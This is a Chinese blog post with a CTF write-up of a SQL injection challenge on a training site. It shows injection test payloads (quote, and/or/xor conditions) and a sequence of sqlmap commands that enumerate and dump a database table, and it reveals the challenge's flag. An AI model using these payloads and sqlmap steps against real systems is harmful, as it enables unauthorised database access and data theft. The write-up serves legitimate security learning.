【CTFweb】简单的注入


题目环境:这个题目看起来好简单!
题目地址:实验吧


通过观察URL,发现可能存在注入点,通过使用and 1=1 ,and 1=2判断存在注入点。

一:注入点判断:

传入SQL语句可控参数分为两类:

  1. 数字类型,参数不用被引号括起来,如?id=1
  2. 其他类型,参数要被引号扩起来,如?name="phone"

判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,服务端返回的内容来判断有无注入。

1、引号判断

 http://www.xxx.com/xxx.asp?id=10'
//如果出现错误提示,则该网站可能就存在注入漏洞。

2、and判断

 http://www.xxx.com/xxx.asp?id=10'and 1=1   
//这个条件永远都是真的,所以当然返回是正常页。 
 http://www.xxx.com/xxx.asp?id=10'and 1=2  
//如果报错说明存在注入漏洞,要看报的什么错,不可能报任何错都有注入漏洞。

3、Or判断(or跟and判断方法不一样的,and 是提交返回错误才有注入点,而OR是提交返回正确有注入点)

http://www.xxx.com/xxx.asp?id=10'or 1=1 
http://www.xxx.com/xxx.asp?id=10'or 1=2

4、xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点)

http://www.xxx.com/xxx.asp?id=10'xor 1=1
http://www.xxx.com/xxx.asp?id=10'xor 1=2

5、加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞)

http://www.xxx.com/xxx.asp?id=10-0  
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1

6、输入框判断

可以使用特殊符号去判断  #@!$/ ...

登录框注入,使用#,--都无效,但是使用报错,这时候上sqlmap,发现可以注入。

二、开始注入:

1、sqlmap直接跑:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1"--current-db //(查询当前使用数据库)

2、继续查询数据库中的表:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

查询出‘my_db’数据库中的表:

3、然后查询表中的列:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

4、查询数据库表中的k0y字段:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

附上flag:whatiMyD91dump

如果出现乱码可以使用-D 数据库名 -T 表名 --columns --hex或者

-D 数据库名 -T 表名 --columns --no-cast 解决

一般web没有过滤注入字符的话,数据库注入流程就是大概这个样子,如果过滤了字段,url就需增加各种过滤参数,依情况而> > > 定。

Typecho赞赏功能

「一键投喂 软糖/蛋糕/布丁/牛奶/冰阔乐!」

冷夜清风

(๑>ڡ<)☆谢谢老板们的投食~

使用微信扫描二维码完成支付


  Previous post Superstar !
Next post   西安打卡—第一天

添加新评论

选择表情

  TimeLine

微软云盘第三方失效,暂时无法修复,有需要下载的文件请私聊我!
--- updated on 2019-10-03 16:47:33 星期四

  About Me

本是一个爷们,却拥有一双女人的眼睛。
九零后,集美貌与才华于一身的美男子。
双鱼男,身材纤瘦,身高中等。
工作:网络安全,运维。

  Recent Comments

有种脾气叫,不放弃。

梦想是注定孤独的旅行,路上少不了质疑和嘲笑,但那又怎样,哪怕遍体鳞伤也要活的漂亮。

不管现在有多么艰辛,我们也要做个生活的舞者。

命运从来不会同情弱者。

不怕万人阻挡在前方,只怕自己先行投降。